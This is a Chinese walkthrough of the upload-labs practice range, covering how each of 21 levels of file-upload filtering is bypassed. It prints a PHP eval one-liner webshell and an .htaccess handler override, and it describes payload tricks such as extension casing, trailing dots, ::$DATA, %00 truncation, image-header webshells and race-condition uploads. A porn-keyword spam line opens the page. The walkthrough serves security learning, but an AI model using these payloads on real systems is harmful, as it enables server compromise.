国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

全面了解文件上傳漏洞, 通關upload-labs靶場

這篇具有很好參考價值的文章主要介紹了全面了解文件上傳漏洞, 通關upload-labs靶場。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

靶場簡介

upload-labs是一個專門用于學習文件上傳漏洞攻擊和防御的靶場。它提供了一系列模擬文件上傳漏洞的實驗環(huán)境,用于幫助用戶了解文件上傳漏洞的原理和防御技術。

這個靶場包括了常見的文件上傳漏洞類型,如文件名欺騙、文件類型欺騙、文件上傳功能繞過等。通過練習不同的攻擊方式,用戶可以加深對文件上傳漏洞的理解和提高對這類漏洞的攻擊和防御技能

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


靶場搭建

upload-labs靶場下載地址:https://github.com/c0ny1/upload-labs

將下載好的upload-labs解壓至phpstudy的WWW目錄,隨后開啟phpstudy

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


靶場通關

pass-1(JS代碼繞過)

源碼審計

查看網(wǎng)頁HTML源碼, 可以發(fā)現(xiàn)此關卡是通過JS代碼來驗證上傳文件的類型, 只要將JS代碼禁止掉就能繞過上傳限制

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

準備一個webshell.php腳本文件, 文件內容如下所示, 是一個簡單的一句話木馬

<?php @eval($_POST[123]);?>

將腳本文件上傳, 結果直接被網(wǎng)站攔截掉了

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


網(wǎng)頁欄輸入about:config, 搜索javascript, 將javascript.enabled的值設置為false, 即表示瀏覽器禁止執(zhí)行javascript代碼

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


刷新第一關卡頁面, 再次上傳webshell.php, 鼠標右鍵查看該圖像的地址, 即為webshell的網(wǎng)頁路徑. 例如此處我上傳的webshell路徑為http://www.upload-labs.net:81/upload/webshell.php

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


打開蟻劍, 輸入webshell的路徑和密碼, 然后點擊測試連接, 顯示連接成功

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-2(MIME類型繞過)

源碼審計

此關卡是通過對上傳的文件類型進行檢驗, 若文件類型不為image/jpeg, 則上傳失敗, 只需抓包修改Content-type字段的值為image/jpeg即可繞過限制

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

使用burpsuite抓取上傳webshell.php的數(shù)據(jù)包, 將Content-Type字段的值修改成image/jpeg

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


文件上傳成功, 后面操作就不演示了

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-3(上傳可解析后綴)

源碼審計

此關卡的黑名單只有asp、aspx、php、jsp, 并沒有限制php3, php5這些后綴

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

首先, 我們需要在phpstudy的http.conf文件添加如下一行, 目的是為了讓網(wǎng)站能夠解析后綴為php5文件, 然后重啟phpstudy

AddType application/x-httpd-php .php .phtml .php5

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


上傳webshell.php5文件, 文件內容如下所示:

<?php phpinfo();?>

文件上傳成功后, 鼠標右鍵復制下面的圖片路徑, 該路徑即為上傳的webshell, 可以發(fā)現(xiàn)網(wǎng)站是能夠解析php5文件的

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-4(上傳.htaccess)

源碼審計

點擊右上角的提示, 發(fā)現(xiàn)這關卡限制上傳的文件后綴還是挺多的, 例如第三關的php3, php5這些后綴都被禁止掉了, 但是還是有漏網(wǎng)之魚的, 就是.htaccess文件

.htaccess文件是apache服務器中的一個配置文件,它負責相關目錄下的網(wǎng)頁配置。通過htaccess文件, 可以實現(xiàn)網(wǎng)頁301重定向、自定義404頁面、改變文件擴展名、允許/阻止特定的用戶訪問目錄等等。

要注意的是, 當php版本高于5.2.17時,.htaccess文件上傳漏洞就不再存在, 所以說這個漏洞在實戰(zhàn)環(huán)境下幾乎時不肯能存在的

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

上傳.htaccess文件, 文件內容如下:

<FilesMatch "webshell">
Sethandler application/x-httpd-php 
</FilesMatch>

.htaccess會改變uploads這個目錄下的文件解析規(guī)則, 調用php的解析器去解析一個文件名只需包含“webshell”字符串的任意文件

簡單來說, 若一個文件的文件名為webshell.jpg, 其內容是phpinfo(), 那么apache就會調用php解析器去解析此文件


隨后上傳webshell.jpg, 文件內容如下:

<?php phpinfo();?>

上傳成功后查看文件路徑, 可以發(fā)現(xiàn)網(wǎng)站使用php解析了webshell.jpg里的內容, 執(zhí)行了phpinfo()代碼

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-5(后綴添加. .)

源碼審計

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

首先看下$file_name = deldot($filename)這行代碼, 它的作用是將上傳文件最末尾的"."去除掉了, 我們可以利用它這個機制來繞過后綴限制, 例如上傳一個文件名為webshell.php. ., 經(jīng)過deldot函數(shù)的處理后文件名為webshell.php.

然后再看下strrchr函數(shù), 該函數(shù)的作用是返回的字符串從指定字符的位置開始,包含指定字符。因此,$file_ext變量中保存的是文件的擴展名, 也就是說最終$file_ext的值為.

$deny_ext是一個存有黑名單后綴的數(shù)組, 后面代碼判斷$file_ext是否是黑名單后綴, 由于$file_ext的值為., 并不屬于限制后綴, 因此能夠上傳成功


演示步驟

如下圖所示, burpsuite抓取上傳文件的數(shù)據(jù)包, 將文件名稱修改成webshell.php. ., 隨后文件上傳成功

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


查看上傳的文件, 雖然文件后綴有個., 但是依舊不影響網(wǎng)站對其的解析

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-6(后綴大小寫)

源碼審計

審計源碼可以發(fā)現(xiàn), 此關卡去除了大小寫轉換函數(shù), 也就是說可以通過構造大小后綴來繞過限制, 例如Php,PHP這種后綴

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

上傳webshell.php并抓包, 修改文件名為webshell.Php

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


上傳成功后訪問腳本文件, 如下圖所示

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-7(空格繞過)

源碼審計

審計源碼可以發(fā)現(xiàn), 此關卡去除了刪除末尾空格的函數(shù), 這樣我們可以在文件后綴末尾添加空格來實現(xiàn)繞過

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

抓取上傳文件的數(shù)據(jù)包, 修改文件名稱, 在文件后綴末尾后面添加空格, 如下圖所示

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


上傳文件成功后訪問腳本文件

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-8(后綴添加.)

源碼審計

通過審計源碼可知, 此關卡去除了刪除文件名稱最末尾的字符’.'的函數(shù), 因此可以通過在文件后綴添加"."來繞過

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

抓包修改文件名為webshell.php.

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


文件上傳成功后訪問腳本文件, 雖然文件名為webshell.php., 但是網(wǎng)站依舊能夠解析

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

pass-9(::$data繞過)

源碼審計

通過審計源碼可以發(fā)現(xiàn), 此關卡去除了刪除字符串"::$data"的函數(shù), 這樣我們可以在文件后綴末尾添加字符串"::$data", 這樣網(wǎng)站后端識別的后綴名即為.php::$data, 不在黑名單當中, 可以上傳成功

其次, 根據(jù)Windows系統(tǒng)的特性, 在目錄創(chuàng)建文件時會忽略文件名稱的::$data進行創(chuàng)建, 也就是說, 最后創(chuàng)建的文件后綴依然是php

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

上傳文件并抓包, 在文件后綴末尾添加字符串::$data

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


打開上傳文件所在目錄進行查看, 可以發(fā)現(xiàn)文件后綴經(jīng)過windows系統(tǒng)過濾后, 變成了php后綴

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


訪問上傳的腳本文件

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-10(后綴添加. .)

源碼審計

此關卡的黑名單后綴基本完善了, 就連.htaccess后綴也被禁掉了, 只能用老辦法了, 在文件后綴末尾添加. .

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

抓包修改文件名稱為webshell.php. .

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


上傳文件后訪問腳本文件

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-11(雙寫后綴繞過)

源碼審計

此關卡用到了str_ireplace()函數(shù), 作用是將文件名稱中的黑名單后綴替換成空格, 并且此函數(shù)的特性是忽略大小寫, 所以無法使用之前的大小寫后綴進行繞過, 但是可以雙重寫后綴來繞過, 比如構造一個后綴為pphphp, 此函數(shù)是從前往后尋找可替換的字符串, 因此經(jīng)過替換后的后綴變成了php

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


演示步驟

抓包修改文件后綴為pphphp

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


上傳文件成功后訪問腳本文件

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-12(%00截斷繞過)

源碼審計

下圖所示為此關卡的源碼, 后面我會挑幾行關鍵的代碼來解釋

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8o8SUNJQ-1673666521408)(https://img2023.cnblogs.com/blog/1779065/202301/1779065-20230114111605645-413484507.png)]


$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);

這條代碼的作用是獲取文件的擴展名。簡單來說就是獲取文件名稱最后一個"."后面的字符串當作文件后綴


$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

通過GET請求來獲取save_path參數(shù)的值, 也就是說這個值是可控的, 若我們將這個值修改成../upload/webshell.php%00, 也就是在文件名后面添加截斷符號%00 ,這樣做的作用是將截斷數(shù)據(jù), Windows創(chuàng)建文件時會忽略后面 rand(10, 99).date("YmdHis").".".$file_ext這行代碼, 這樣$img_path變量值就變成了../upload/webshell.php

%00 是 URL 編碼中的一個字符,它表示一個空字符(NULL 字符)


move_uploaded_file($temp_file,$img_path)

將文件的名稱修改成webshell.jpg, 通過這行代碼可以將webshell.jpg移動至upload目錄, 并將文件名修改成webshell.php


%00截斷法只適用于php版本低于5.3的, 且需要在phpstudy把魔術引號函數(shù)magic_quotes_gpc關閉掉, 關閉方法如下圖所示

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

上傳webshell.php文件, 抓包修改文件名稱為webshell.jpg, 修改save-path參數(shù)為../upload/webshell.php%00

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


文件上傳成功后查看腳本文件, 將后面的無效內容去除掉, 即可訪問成功

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-13(%00截斷繞過)

源碼審計

此關卡與pass-12相似, 但不同的是pass-12的save_path參數(shù)是通過get請求獲取的, 而這關是通過post請求獲取的, get請求傳遞的參數(shù)后端會自動進行解碼, 但是post請求傳遞的參數(shù)后端不會自動解碼, 因此我們要對截斷符%00進行url解碼

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

抓包修改post請求數(shù)據(jù)為../upload/webshell.php%00, 并對%00進行url解碼

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


下圖是%00解碼后的結果, 是一個肉眼看不到的空字符, 隨后還需將文件名修改成webshell.jpg

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


上傳文件后訪問腳本

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-14(圖片馬)

源碼審計

此關卡通過獲取上傳文件的內容的前兩個字節(jié)來判斷該文件的類型, 簡單來說就通過識別文件頭來判斷文件類型, 我們只需修改文件頭為圖片格式的, 例如gif文件頭:GIF89A, 就能實現(xiàn)繞過

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

在文件內容前面添加字符串"GIF89A"(這是gif格式的文件頭), 并將文件后綴修改成jpg

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


當然你也可以使用windows的copy命令來合并文件, 首先找一個圖片文件1.jpg, 然后將其與webshell.php合并成webshell.jpg

copy 1.jpg + webshell.php webshell.jpg

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


隨后上傳文件配合文件包含漏洞解析腳本

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-15(圖片馬之getimagesize函數(shù))

源碼審計

這關和上一關很相似, 只不過這關是使用 getimagesize() 函數(shù)獲取圖像的信息。getimagesize() 函數(shù)返回一個數(shù)組,數(shù)組的第三個元素是圖像的類型, 而該函數(shù)會通過讀取文件頭部的幾個字符串(即文件頭), 來判斷是否為正常圖片的頭部, 我們只需將頭部內容修改成圖片文件的頭部, 例如添加文件頭GIF89A, 就可以繞過此機制

隨后使用 image_type_to_extension() 函數(shù)將圖像的類型轉換為擴展名

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

和上一關的操作沒啥區(qū)別, 在文件內容前面添加GIF89A, 并保存為jpg格式文件

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


隨后上傳文件配合文件包含漏洞

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass -16(圖片馬之exif_imagetype函數(shù))

源碼審計

根據(jù)提示, 此關卡需要開啟php_exif模塊, 需要修改php.ini配置文件去開啟它, 如下圖所示

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


此關卡使用exif_imagetype()函數(shù)來識別文件類型, 此函數(shù)和getimagesize()的原理差不多, 都是通過讀取文件頭來判斷文件類型

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

操作步驟和上一關一樣, 這里就不演示了


pass-17(圖片馬之二次渲染)

源碼審計

此關卡使用imagecreateformjpeg()函數(shù)來對上傳的圖片文件進行二次渲染,隨后返回一個新的圖像文件, 由于新的圖像文件是經(jīng)過二次渲染后的, 所以我們在圖像中布置的惡意代碼也會被刷新, 從而導致不能配合文件包含漏洞來解析腳本文件

但是, 二次渲染后的文件并不是所有文件內容都會被刷新, 有一小部分是沒有修改的, 我們只需找到這一小部分內容的位置, 然后將代碼插入進去, 就能實現(xiàn)繞過

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

首先我們上傳一個包含phpinfo()代碼的gif圖片, 圖片雖然成功上傳, 但是卻無法配合文件包含漏洞進行解析, 如下圖所示, 頁面顯示了一堆亂碼, 這顯然不是我們想要的結果

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


我們將上傳前和上傳后的gif文件放到winhex工具中進行對比,其中webshell.gif是上傳前的, 1400.gif是上傳后的

很明顯可以看出, 文件末尾的phpinfo代碼經(jīng)過二次渲染后, 已經(jīng)不見了, 被刷掉了

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


但是二次渲染還是可以繞過的, 只要找到?jīng)]有被它渲染過的地方, 例如, 如下圖所示的這個地方來寫入我們的代碼, 可能你會有疑問, 為什么不在前面那段空白寫入代碼, 這是因為前面的內容屬于文件頭, 如果寫入了代碼就相當于破壞了文件頭, 這樣就不能上傳文件了

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


既然找到地方了, 那么就往此處寫代碼嘍, 首先復制文件末尾的phpinfo代碼的十六進制數(shù)值

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


然后往找到的地方寫入代碼, 來覆蓋原先的代碼(注意:不是粘貼, 粘貼是插入代碼)

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


上傳winhex修改后的文件, 配合文件包含漏洞解析gif圖片的內容

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-18(條件競爭)

源碼審計

此關卡主要考察條件競爭, 如下代碼所示, 后端先將文件上傳至網(wǎng)站目錄, 然后才對文件進行檢驗來決定是否刪除這個文件, 如果我們在上傳文件的瞬間, 也就是文件沒被刪除的時候, 訪問這個文件, 就能實現(xiàn)繞過

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

首先上傳一個webshell.php并抓包, 將包發(fā)送給intruder模塊

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


在intrude的負載選項設置成如下圖所示, 設置完后點擊右上角的開始攻擊

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


然后再抓取訪問上傳文件的數(shù)據(jù)包并發(fā)送給intruder, 負載選項的設置和上述一致, 點擊開始攻擊

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


然后查看訪問上傳文件數(shù)據(jù)包的爆破結果, 找響應長度大的, 對其鼠標右鍵, 在瀏覽器中顯示響應

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


隨后復制此鏈接至開啟了burpsuite代理的瀏覽器中打開

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-19(.7z后綴繞過)

源碼審計

首先創(chuàng)建了一個Myupload類, 并調用了此類的upload函數(shù), 傳遞UPLOAD_PATH作為upload函數(shù)的參數(shù), UPLOAD_PATH的值是上傳文件的所在目錄, 也就是/upload

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


轉到upload函數(shù)的定義處, 這里要重點注意setDir這個函數(shù), 此函數(shù)用于設置文件上傳的目錄

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


轉到setDir函數(shù)的定義處, 此處有一行代碼寫錯了, cls_upload_dir的值應該糾正為$dir.'/', 至于為何要這樣糾正, 后面我會講述

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


繼續(xù)將代碼往下翻, 此處調用了move函數(shù)

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


轉到move函數(shù)定義處可以發(fā)現(xiàn), 要是沒有糾正上述代碼, 那么cls_upload_dir的值就為upload, 此變量與$cls_filename拼接在一起后構成的文件名如下圖2所示, 上傳的文件就不會放在upload目錄下, 而是放在網(wǎng)站根目錄下

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


如下代碼規(guī)定了白名單后綴, 這里要特別注意7z這個后綴, 這后綴瀏覽器是無法解析的, 當瀏覽器遇到無法解析的后綴時, 就會往前解析, 要是我們上傳文件名為webshell.php.7z, 那么瀏覽器就會解析.php后綴而不會解析.7z后綴

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


從下述代碼可以看出, 此關卡和上一關差不多一個性質, 都是上傳了文件后才對文件進行檢驗

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

此關卡的操作步驟上一關差不多, 不同的是這關需要將文件名修改成webshell.php.7z, 詳細操作這里就不再演示

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-20(%00截斷繞過)

源碼審計

從白名單后綴可以看出, 并沒有嚴格限制大小寫, 只要將后綴名修改成PHP就可以繞過, 或者使用截斷符%00繞過, 文件名是通過POST請求的save_name參數(shù)來獲取的

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


步驟演示

上傳webshell.php文件, 將save_name參數(shù)值的文件后綴修改成PHP

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


使用上述方法上傳文件成功后訪問腳本文件

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


或者使用%00截斷符號

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


pass-21(數(shù)組繞過)

源碼審計

首先判斷上傳的文件類型是否屬于: image/jpeg, image/png, image/gif

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


然后檢測上傳的文件名稱是否為數(shù)組, 若不為數(shù)組, 則使用explode函數(shù)將文件名按照“.”進行分割, 并將結果轉換為小寫, 這個 $file 會是一個數(shù)組, 數(shù)組的第一項是文件名,第二項是文件擴展名

也就是說如果我們上傳的文件名稱若為數(shù)組, 那么他就不會執(zhí)行這行代碼, 而是繼續(xù)往下執(zhí)行代碼

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


例如此處我傳遞了兩個數(shù)組元素, 分別是save_name[0]=upload.phpsave_name[2]=jpg

end($file) 獲取到的就是這個數(shù)組的最后一個元素,也就是文件擴展名, 然后對這個擴展名進行檢驗, 由于我們構造數(shù)組的最后一個元素為白名單后綴jpg, 因此能夠上傳文件

使用 reset() 函數(shù)獲取數(shù)組的第一個元素,即upload.php , $file[count-1]的值為空(下面的代碼很好解釋了此值為何為空), 最終$file_name的值為upload.php

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

<?php
header("Content-Type:text/html;charset=utf-8");
$save_name[0]="upload.php";
$save_name[2]="jpg";
print_r(count($save_name)); //輸出數(shù)組的個數(shù):2

print_r($save_name[count($save_name)-1]); //輸出$save_name[1]的值:空

?>

步驟演示

首先上傳一個webshell.php文件, 抓包修改數(shù)據(jù)如下圖所示

注意: 在傳遞數(shù)組元素值時都會多留一條空行, 不要將這條空行刪除, 否則文件會上傳失敗

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡


訪問腳本文件

upload-labs條件競爭,靶場,安全,php,web安全,網(wǎng)絡安全,網(wǎng)絡

?文章來源地址http://www.zghlxwxcb.cn/news/detail-758078.html

到了這里,關于全面了解文件上傳漏洞, 通關upload-labs靶場的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 文件上傳漏洞 (upload部分通關教程)

    文件上傳漏洞 (upload部分通關教程)

    只適合只有前端驗證的網(wǎng)站 一句話木馬: 保存到文件中: 使用第一關直接上傳,報錯: 按照網(wǎng)站要求,修改文件后綴名為jpg: 重新上傳111.jpg文件,打開burp抓包,修改包中的后綴名 點擊Forword上傳,上傳成功: 使用蟻劍連接后臺步驟: 復制url: 連接成功: 原理就是驗證后

    2024年02月22日
    瀏覽(21)
  • 文件上傳漏洞--Upload-labs--Pass13&&14&&15--圖片馬

    文件上傳漏洞--Upload-labs--Pass13&&14&&15--圖片馬

    顧名思義,圖片馬即 圖片 + 木馬。將惡意代碼插入圖片中進行上傳,繞過白名單。 圖片馬制作流程: 1、在文件夾中打開 cmd,輸入指令。 /b:二進制、?/a:追加。即將 test.php 追加到 test.jpg 中生成新圖片 new.jpg。 1、首先進行代碼審計,源代碼中使用白名單,判斷文件類型,

    2024年02月22日
    瀏覽(21)
  • 文件上傳漏洞--Upload-labs--Pass05--大小寫繞過

    文件上傳漏洞--Upload-labs--Pass05--大小寫繞過

    我們想要上傳含有惡意代碼的 .php 文件,但 .php 后綴名的文件可能會被 白名單 或 黑名單攔截,從而上傳失敗,在某些源代碼中,沒有對文件的后綴用 strtolower()函數(shù) 統(tǒng)一進行小寫化,這就會存在大小寫漏洞,我們可以將 test.php 寫作 test.Php,這樣就可以繞過源碼中的黑名單,

    2024年02月20日
    瀏覽(32)
  • web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

    web安全-文件上傳漏洞-圖片馬制作-相關php函數(shù)講解-upload靶場通關詳細教學(3)

    制作圖片馬有兩種方法,一種是文本方式打開,末尾粘貼一句話木馬,令一種是使用命令進行合成。 方法1 首先準備好一個圖片(這里是1.png)。 將一個圖片以文本格式打開(這里用的Notepad++,以記事本方式打開修改也能連接成功,不過修改后圖片無法正常顯示了)。 后面粘

    2024年02月06日
    瀏覽(19)
  • upload-labs通關

    upload-labs通關

    最近,我有個朋友老是反映部署的網(wǎng)站老是被黑客攻擊,我看了下就是普通的PHP框架搭建的網(wǎng)站,經(jīng)過一番排除也清除了木馬。為此我專門花1天時間研究一下文件上傳漏洞,知己知彼方能百戰(zhàn)百勝。這里我選擇了一個開源的靶場upload-labs。 Cookie-Editor:https://chrome.google.com/we

    2023年04月08日
    瀏覽(248)
  • upload-labs文件上傳靶場實操

    upload-labs文件上傳靶場實操

    上傳姿勢總結: 1)改后綴名繞過 2)Content-Type繞過 3)本地文件包含 4)遠程文件包含 5)httpd.conf黑名單繞過 6)htaccess繞過 7)大小寫繞過 8)空格繞過 9)點繞過 10)特殊符號::$DATA繞過 11). .繞過 12)多寫繞過(多寫php) 13)%00截斷目錄繞過 14)16進制00截斷目錄 15)本地文件包含+文件頭繞過 16)本地

    2024年02月08日
    瀏覽(25)
  • upload-labs通關攻略(更新中)

    upload-labs通關攻略(更新中)

    upload-labs是一個使用php語言編寫,專注于文件上傳漏洞的靶場。該靶場可以讓練習者了解文件上傳漏洞的原理、利用方法。 1.首先要下載phpstudy,解壓安裝 phpstudy下載鏈接:https://www.xp.cn/download.html 2.下載upload-labs源代碼 下載鏈接:https://codeload.github.com/c0ny1/upload-labs/zip/refs/hea

    2024年02月15日
    瀏覽(17)
  • Upload-labs 1~15 通關詳細教程

    Upload-labs 1~15 通關詳細教程

    upload-labs是一個使用php語言編寫的,專門收集滲透測試和CTF中遇到的各種上傳漏洞的靶場。旨在幫助大家對上傳漏洞有一個全面的了解。目前一共21關,每一關都包含著不同上傳方式。 靶場地址Upload-labs。 上傳一個php的一句話木馬文件 文件內容如下: 上傳php一句木馬文件,這

    2024年02月09日
    瀏覽(25)
  • Upload-labs 1-21關 靶場通關筆記(含代碼審計)

    Upload-labs 1-21關 靶場通關筆記(含代碼審計)

    目錄 Pass-01(JS前端驗證)? 方法一:刪除JS驗證? ?方法二:先上傳符合要求的圖片 再在burp里面修改后綴即可 Pass-02(MIME驗證) 前置知識$_FILES Pass-03(php3、phtml繞過黑名單) Pass-04(.htaccess繞過黑名單) ?前置知識 .htaccess 思路一 ?思路二 思路三 ?編輯 Pass-05(.user.ini黑名單

    2023年04月09日
    瀏覽(15)
  • upload-labs詳解1-19關通關全解(最全最詳細一看就會)

    upload-labs詳解1-19關通關全解(最全最詳細一看就會)

    upload-labs是一個使用php語言編寫的,專門收集滲透測試過程中遇到的各種上傳漏洞的靶場。旨在幫助大家對上傳漏洞有一個全面的了解。目前一共19關,每一關都包含著不同上傳方式。 1.png: 選擇一個php文件,發(fā)現(xiàn)無法上傳。 查看提示說是使用js對不合法文件進行檢查,看到是

    2024年02月06日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包